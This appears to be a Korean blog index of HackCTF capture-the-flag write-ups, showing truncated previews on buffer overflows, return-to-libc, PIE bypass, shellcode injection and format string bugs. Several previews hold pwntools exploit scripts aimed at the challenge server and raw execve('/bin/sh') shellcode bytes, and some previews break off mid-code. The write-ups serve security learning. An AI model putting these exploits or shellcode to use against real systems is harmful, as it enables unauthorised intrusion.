anonymous?

# pseudo code # process I문자를 입력하면 you로 replace해준다. 변수 s에 복사하고 출력해주므로 s를 overflow시키면 되는데, s의 크기는 0x3c = 60바이트이다. I 20개를 줘서 s를 덮고 A 4개로 SFP를 덮고 get_flag를 줘서 return address를 덮는다. 따라서 ‘I’*20 + ‘A’*4 + p32(get_flag) 로 payload를 준다. # exploit code #!/usr/bin/python from pwn import * #p = process("./gpwn") p = remote("ctf.j0n9hyun.xyz", 3011) elf = ELF("./gpwn") get_flag = elf.symbols['get_flag'] p.send..

SYSTEM HACKING/HackCTF 2020. 1. 8. 00:22

# process 1000000점을 획득해야 while문에서 break하고 reward() 함수를 호출해서 flag를 얻을 수 있다. 그리고 if문 조건에 제시된 단어 하나 당 100점씩 얻게 된다. 하지만 단어 10000개를 줘도 되지 않는다. 다른 방법으로 dword_6024e0 변수를 1000000으로 만들어야 한다. 타겟이 되는 변수는 bss 섹션에 위치한다. 따라서 이 주소가 고정적이다. gets() 함수의 입력버퍼인 poem의 위치도 확인해보면 bss 섹션에 위치하고 있다. dword_6024e0과 poem 변수 모두 고정적인 전역변수이다. &dword_6024e0 - &poem = 0x40 으로 poem+0x40 위치에 dword_6024e0이 위치한다. 즉, gets() 함수로 입력받을 때..

SYSTEM HACKING/HackCTF 2020. 1. 8. 00:19

dlsym 함수는 C 언어에서 사용하는 함수로, 위의 코드에서 system 함수의 주소(두 번째 인자를 이르으로 가지는 함수의 주소)를 라이브러리 handle(첫 번째 인자)에서 찾아서 v6 변수에 저장한다. 즉, system 함수의 주소는 v6에 저장되어있다. 또 아래의 for문은 초기에 “/bin/sh”를 찾기 위해 코딩해서 사용했었던 방법인데 system 함수 주소 처음부터 1씩 주소를 증가시키면서 s1의 값과 “/bin/sh”를 비교해서 같으면 for문을 멈춘다. 따라서 s1에는 “/bin/sh” 주소가 저장된다. RTL = &system + 4 byte dummy + &”/bin/sh” 만 있으면 return address에 system addr를 넣고 RTL을 전달하면 system(“/bin/..

SYSTEM HACKING/HackCTF 2020. 1. 2. 00:07

1. 보호기법 확인 문제이름대로 PIE가 걸려있다. 2. 코드 확인 코드를 보니까 flag를 출력해주는 함수는 j0n9hyun 함수인데, 주소는 welcome주소를 출력해준다. 주소가 고정적이지 않고 실행할 때마다 바뀌므로 실행 시 welcome 주소를 leak 한 후 구해놓은 welcome과 j0n9hyun 함수와의 offset으로 j0n9hyun 함수의 실행 시 주소를 구하고 RTL을 이용해서 return address를 이 주소로 덮어서 리턴 시 flag가 출력되도록 한다. 3. 실행 주소의 길이가 10이므로 recv(10)으로 leak 한다. 4. exploit code #!/usr/bin/python from pwn import * #p = process("./bof_pie") p = remot..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:59

1. 보호기법 확인 2. 코드 확인 gets 함수로 입력받는다. 따라서 sendline으로 payload를 엔터를 포함해서 전달해야 FLAG가 바로 따진다. selec_func에서 src에서 dest로 복사를 하는데, src는 main의 s이고 sfp에서 0x27바이트 떨어진 위치, dest는 sfp에서 0x2c 떨어진 위치에 있다. dest가 src보다 0x3 바이트 더 앞에 있다. 그리고 selec_func 함수 마지막에 return v3()를 하는데, 이 v3가 가리키는 곳을 print_flag로 바꾸면 return 시 print_flag가 실행될 수 있을 것이다. 그럼 dest에 복사됐을 때 v3를 정확하게 print_flag 함수 주소로 덮으면 되는데, 그 앞의 dummy를 얼마를 줘냐 하느냐가..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:26

1. 보호기법 확인 2. 실행 3. exploit code Buffer 주소를 출력해주니까 처음에 아무거나 입력하고 출력해주는 buffer의 시작주소를 받아온다. 그리고 다시 y를 입력해서 shellcode를 buffer에 넣고 return address를 buffer의 주소로 변조해서 리턴 시 buffer의 쉘이 실행되게 한다. 4. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:23

1. 보호기법 확인 계속 ex가 안 되서 뭐가 문제인가 했더니 쉘코드를 기존에 사용하던 것과 다른 것을 사용해야 한다고 한다.. "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 이 쉘코드를 사용하니까 제대로 쉘이 따졌다. 2. exploit code #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./Simple_size_bof") p = remote("ctf.j0n9hyun.xyz", 3005) p.recvuntil("buf: ") buf = int(p.recv(14), 16) log.info..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:21

1. 보호기법 확인 2. exploit code #!/usr/bin/python from pwn import * #p = process("./64bof_basic") p = remote("ctf.j0n9hyun.xyz", 3004) callMeMaybe = 0x400606 pay = 'A'*0x118 + p64(callMeMaybe) p.sendline(pay) p.interactive() 그냥 return address 전까지를 다 dummy로 주고 return address를 shellcode를 실행해주는callMeMaybe 함수의 주소로 변조하면 된다. 3. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:19

Name에 24 바이트짜리 쉘코드를 넣어놓고 (nop으로 바인딩) gets 함수는 버퍼오버플로우 취약점이 있으므로 s와 sfp를 dummy로 채우고 Return address에 &name을 주면, return 시 name으로 리턴해서 name에 들어있는 쉘코드가 실행될 수 있다. #!/usr/bin/python from pwn import * #context.log_level = 'debug' #p = process("./prob1") p = remote("ctf.j0n9hyun.xyz", 3003) name = 0x804a060 pay = '\x90'*13 pay += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:18

1. IDA snprintf 함수는 character string인 format에 s의 0x400 바이트를 적는다. snprintf() 함수에서 format string bug 취약점 발생 2. 보호기법 확인 3. pseudo code 4. 실행 AAAA로 값을 주고 %x를 몇 개 줘서 출력값을 확인해보면 A의 아스키코드값인 41이 두 번째에 들어가있다. FSB에서 사용하는 방법 중 하나는 %n을 사용해서 특정 libc 주소의 got를 원하는 주소 값으로 overwrite하는 것이다. %n 지시자는 출력된느 내용을 카운팅해서 %n으로 받아 값을 저장한다. 따라서 %n 지시자를 위와 같이 overwrite하길 바라는 AAAA와 같은 값의 위치에 주면, AAAA가 써있는 곳에 원하는 값으로 overwrite..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:15

1. exploit code #!/usr/bin/python from pwn import * #p = process("./bof_basic2") p = remote("ctf.j0n9hyun.xyz", 3001) elf = ELF("./bof_basic2") shell = elf.symbols['shell'] p.sendline('A'*(0x8c-0xc) + p32(shell)) p.interactive() 2. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:58

1. exploit code #!/usr/bin/python from pwn import * p = remote("ctf.j0n9hyun.xyz", 3000) p.sendline('A'*(0x34-0xc) + p32(0xdeadbeef)) p.interactive() 2/ exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:57